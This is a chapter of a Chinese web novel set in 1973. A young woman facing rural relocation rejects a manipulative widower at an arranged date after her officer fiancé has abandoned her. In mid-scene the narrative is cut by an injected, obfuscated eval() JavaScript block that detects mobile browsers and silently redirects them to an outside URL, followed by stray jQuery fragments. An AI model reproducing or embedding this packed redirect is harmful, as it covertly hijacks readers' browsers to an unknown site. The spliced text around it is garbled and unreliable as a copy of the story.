1973年2月25日，湘省阳县，机械厂职工医院，门诊部。
医护人员在走廊里走动，门内的黄述玉第一次尝到恋爱的苦果，攥紧话筒的指骨泛白，轻声说：“三姐，我把他给我寄的信和礼物寄了过去，收件人写了你的名字，你收到包裹，把包裹交给他，问他要回我写给他的信、礼物和照片。”
“你拿回我的东西，帮我处理掉吧。”黄述玉把话筒交给身边的母亲。
黄述玉母亲孟金菊像是吃了一（火）（乍）药桶的火yao，噼里啪啦狂（火）（乍）：“他朱修荣就是在耍流氓！跟咱们说他已经提交了你小妹和他的结婚申请，今年过年回家探亲，带你小妹一块儿回家。我们等啊等，从腊月二十七等到正月十五，等来的是他已经结婚的消息。他连跟你小妹解释都不肯，只是让三姑爷跟咱们传个话，说他父母不接受外地儿媳妇！”
“去年他跟三姑爷到咱家，看到你小妹第一眼，就跟狗看到骨头一样，求三姑爷牵线搭桥，死皮赖脸追你小妹，都追到了你小妹的学校。我和你爸问过他父母介不介意外地儿媳妇，他当时可不是这样说的，他可是向我们拍胸脯保证他父母不介意！”碍于对方军人身份，孟金菊不好骂得太难听。
朱修荣追述玉的时候，追得轰轰烈烈，离场的时候悄无声息。
他一句抱歉，却让述玉遭受指点、议论。
一想到述玉这些天遭受的流言蜚语，孟金菊恨不得朱修荣也遭受一遍。
孟金菊是机械厂职工医院的护士长，同事推门进来，她连忙换了一个话题，同事拿了东西离开，还贴心地关上了门，孟金菊接着骂朱修荣。
6年前，《人民日报》刊发了关于“知识青年到农村去，接受贫下中农再教育”的指标。①
从这以后，上面硬性规定每个家庭，至少有一个子女下乡。
除了述玉，其他三个女儿早早成了家。
老大、老二婚后依旧跟她住一起，老三去年夏天到部队跟三姑爷团聚了。
老四作为家里最小的孩子，必须下乡。
如果朱修荣不来招惹述玉，述玉去年拿到高中毕业证，她和丈夫找关系把述玉弄到附近的农场。
凭述玉的能力，一定能拿到“赤脚医生证书”。
述玉在大队当一年半载赤脚医生，她和二姑爷想办法运作一下也不是不能给述玉弄一个进修名额，最差的结果就是述玉进当地的公社医院上班。
现在可好，其他地方名额已满，只有雷州缺知青。
雷州与缅北接壤，地方偏远又穷，述玉去那个地方当知青，一当就是一辈子。
一想到她那么水灵灵的姑娘跑到那种地方当知青，孟金菊方寸大乱，使了一个浑招，那就是装病退让述玉顶她的班。街道办和知青办专门从市里请来医生给她看病，谎言被拆穿，结果就是她被单位通报批评。
病退的路被堵死了，孟金菊又生一计，匆忙给述玉安排了一场相亲。
孟金菊挂了电话，察觉到四女儿期盼又小心翼翼的眼神，孟金菊慌乱避开四女儿的视线。
黄述玉将手塞入母亲掌心：“妈，真冷。”
“要给相亲对象留下好印象。”孟金菊给四女儿捂了一会儿手，又替她整理大衣，从包里拿出一份报纸塞她手里，催促她到公园见相亲对象。
黄述玉离开医院，走在人行道上。
路边堆积的雪还是元宵节那天下的，许多天过去了，只有薄薄一层脏雪覆盖在花坛、路边。
街道办的人身上热气腾腾通污水口，污水口能流进污水，他们收拾工具离开。
他们一次不彻底通了污水口，过不了多久，污水口又得堵住，附近居民怨声载道，他们又得出面通污水口。
阳光穿透光秃秃的树洒在她身上，黄述玉却感受不到一丝暖意。
冷飕飕的寒风刮过，黄述玉裹紧身上的大衣，脑中思绪乱飞。
当初朱修荣追求她，周围的人全在说朱修荣和三姐夫是战友，她和朱修荣处对象，姐俩都是军嫂，在一块儿有个照应。
昨天媒人来了一趟她家，她要和谢满江相亲的消息火速传遍了机械厂，谢满江的个人情况满天飞。
周围的人全在说谢满江像是为她量身定做的对象，只要她同意和谢满江领证，谢满江常年生病的母亲带着谢满江年幼的三个孩子住街道办主任家，一天两天还行，时间久了，街道办主任绝对受不了，亲自给她和谢满江开结婚证明，她就能顺利留在城里。
所有人都说她命好，跑了一个朱修荣，又来了一个谢满江。
或许她命真得好。
来到公园，黄述玉坐在长椅上，把报纸摊在膝上。
眼前是一个湖泊，三只黑天鹅搅碎一池阳光，金光闪闪，夺人眼目，黄述玉看得出神。
谢满江伺候母亲上厕所，给最小的孩子喂了奶，把奶娃子放到母亲身边，把老大、老二送到托儿所，匆忙骑车赶到公园。
一抹亮色闯入他的视野，谢满江第一眼就认出对方就是他的相亲对象。
对方长得很出挑，枣红色高领毛衣，外边套着一件深蓝色羊毛大衣，衬得皮肤更像剥了壳的水煮蛋，整个人鲜亮的夺人眼球。
处处透着小布尔乔亚的精致。
谢满江这会儿后悔早上没到剃头师傅那里理一下发，修一下面容，换一身衣服。
不过他只有两身衣服，还都是工作服。第三任妻子去世以后，也没人给他洗，两身衣服都不干净，他换不换衣服都一样。
现在的风气是越穷的人风评越好，愤怒、敌视小布尔乔亚做派。谢满江把这些情绪通通掩藏起来，上前跟黄述玉打招呼：“黄述玉同志你好，我是你的相亲对象，谢满江，在木材厂工作。”
黄述玉抬头，对方长得挺斯文，就是有点不修边幅，和朱修荣是两种极端。
黄述玉站起来，跟他打招呼。
黄述玉对他并不热情，让谢满江有些恼羞。
他三任妻子都是他徒弟，每一任妻子一开始也跟黄述玉一样，结果不到一周，上赶着跑到他家帮他照顾老娘、孩子，主动提和他组建家庭。
不久的将来，黄述玉会跟他每一任亡妻一样，谢满江呼吸急促，身体颤簌着。
谢满江克制着激动，坐长椅上，隐晦打量黄述玉。
黄述玉靠边坐，刚坐下，就听对方说：“我听人说你和一个军官处过对象，那个军官在部队，你俩靠写信交流。好像那个军官今年过年回家探亲，要从我们这里经过，带你回杭城老家结婚。元宵节都过完了，那个军官依旧没来……”
“你三任妻子都是难产没的，你难过吗？”黄述玉偏头，眼睛清澈明亮，可以看出那段经历并没有让她觉得自己不堪，抬不起头。
谢满江让一个女人对他死心塌地，分三步走，第一步不着痕迹贬低对方，引导对方认为配不上自己，第二步，在第一步的基础上抬高自己的身价。
第三步通过把自己成功塑造成一个孝子和痴情种的形象，获得女人的好感。
第一步被黄述玉打断，谢满江心里不愉。
黄述玉却没察觉到分毫，她只看到谢满江的身体迅速被痛苦吞噬，对方眼神黯然说：“我曾经想自杀过，街道办的董姨和厂工会的薛姨带我娘和孩子到我面前，问我，如果我走了，我娘、我的孩子该怎么办！我退缩了。”
黄述玉呼吸错乱了一瞬，语气温柔说：“活着的人要往前看，因为这世上还有我们爱着的亲人。”
“为了我爱着的人，我要努力活着。但是我也真的没有心思经营下一段婚姻，只想找一个人搭伙过日子。”谢满江情绪低落，旋即伸出手，面含笑意说，“我会帮你留在城里，作为条件，你照顾我母亲，和我的三个孩子。”
黄述玉没有伸手，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830664|158959||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带着歉意说：“我无法在没有感情的情况下，和一个人组建一个家庭。”
“我们可以在婚后培养感情。”谢满江急忙说。
黄述玉再一次礼貌婉拒了他的邀请，头也不回离开了公园。
黄述玉坐公交车回家。
下了公交车，走进一个狭窄的巷子里，两侧是老旧低矮的青砖瓦房，这一片是机械厂的房子。
巷道是青石板铺的路。
一根根黑黢黢的电线杆伫立在巷子里，杂乱无章、软踏踏垂落的电线以电线杆为支柱，走进千家万户。
电线杆上的白色绝缘瓷的作用是增加爬电距离和防导电的，一群小孩正拿着换下来的旧绝缘瓷当陀螺玩耍。
裸露在外的墙体上刷满了各种红色标语。
每个院子里至少住了两家人，黄述玉家也一样。
但又有点不一样。
黄述玉大姐夫无父无母，却有房有工作，通过不断地换房子，住进了这个院子。
黄述玉二姐夫是乡下飞出来的“金凤凰”，是这么多年以来红星公社唯一一个通过高考进入大学的大学生。
现在高考被废止了，上大学全靠推荐，黄述玉二姐夫大学生的含金量不断提高。
刚被分配到县人民医院工作的二姐夫一举被黄述玉二姐拿下，和妻子一起住妻子娘家。
这么一看，这个院子里住的全是黄家人。
黄家其他家庭成员，一个是黄述玉三姐，到了年纪就和青梅竹马结婚。丈夫在部队当兵，黄述玉三姐一直住娘家，丈夫有了随军资格，火急火燎赶去部队跟丈夫团聚。
黄述玉父亲黄淮周早些年努力生儿子，后来因为妻子身体不好再也没怀上，整日郁郁寡欢，对什么都提不起劲。
这个家最后是黄述玉母亲孟金菊同志撑起来的。
孟金菊同志这辈子最大的幸福就是生了四朵金花，按长幼排序，四个女儿依次叫黄佳慧、黄佳思、黄佳念、黄述玉。
黄述玉的名字为什么和姐姐们不一样？
因为孟金菊小弟结婚多年没有孩子，黄述玉一出生，就被孟金菊小弟夫妻抱回去养了。黄述玉三岁那年，孟金菊小弟夫妻有了自己的女儿，开始对黄述玉不好，极其嫌弃黄述玉，孟金菊把黄述玉要了回来。
当年黄述玉叫孟述玉，户口落在孟金菊小弟户头上，黄述玉的粮食本、副食本都在孟金菊小弟手里。
孟金菊小弟不肯配合孟金菊迁黄述玉的户口，更不肯归还黄述玉的粮食本、副食本。
孟金菊用掉全家人的名额，从药房一共开了20粒安眠药，跑到小弟的厂里吞下安眠药……
孟金菊成功给黄述玉迁了户口，要回了黄述玉的粮食本、副食本，也和娘家彻底不走动了。
黄述玉开锁推开院门。
这座院子原本只有三间房，黄家和原来的住户平分这三间房。后来大姐夫和原来的住户换了房子，搬进这座院子里，院子格局也跟着发生了改变，多出了三间阁楼。
建阁楼是大姐夫的主意，母亲积极响应，联合医院同事到房管科申请建房材料。经过她的一番努力，申请到一堆建房材料。
大姐夫把这些材料置换来置换去，换了一堆二手木料。
材料准备齐全，大姐夫着手建阁楼。
父亲背手在一旁唱衰，不肯伸手帮忙。
大姐夫带着娘子军像蜗牛一样建阁楼。
当时二姐和二姐夫正在处对象，天天把二姐夫领回来，忽悠二姐夫干活。
阁楼建起来了，二姐立刻拉着二姐夫领了证，住进了阁楼。
去年三姐去部队随军，二姐夫妻搬下来住了，阁楼上现在住着黄述玉和她的外甥、外甥女们。
黄述玉到厨房给炉子换了一块煤球，回屋换下大衣，把大衣挂进母亲房间的衣柜里，爬梯子上了阁楼，躲进自己的房间吹口琴。